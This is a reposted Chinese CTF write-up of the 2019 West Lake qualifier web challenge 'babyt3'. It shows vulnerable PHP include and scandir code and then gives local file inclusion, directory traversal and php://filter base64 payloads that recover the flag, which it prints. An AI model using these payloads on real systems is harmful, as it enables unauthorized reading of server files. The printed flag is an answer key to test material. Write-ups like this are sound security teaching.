2019西湖论剑预选赛部分WP

Web

babyt3

点进链接发现提示

include $_GET['file']

估计是文件包含漏洞

尝试包含index.php,发现一串base64编码,解码得到

<?php
    $a = @$_GET['file']; 
    if (!$a) { 
        $a = './templates/index.html'; 
    } 
    echo 'include $_GET[\'file\']';
     if (strpos('flag',$a)!==false) {  
        die('nonono'); 
    } 
    include $a; 
?>  
<!--hint: ZGlyLnBocA== -->             

继续解码hint,得到dir.php,继续尝试包含dir.php,又是一串base64,继续解码

<?php 
    $a = @$_GET['dir']; 
    if(!$a){ 
        $a = '/tmp'; 
    } 
var_dump(scandir($a));

用dir参数遍历目录 dir.php?dir=../../../

读取文件 ?file=../../../ffffflag_1s_Her4

或者继续伪协议读取?file=php://filter/read=convert.base64-encode/resource=../../../ffffflag_1s_Her4  然后再base64解码。

flag{8dc25fd21c52958f777ce92409e2802a}

猜你喜欢

转载自www.cnblogs.com/gzs-monkey/p/10699536.html
今日推荐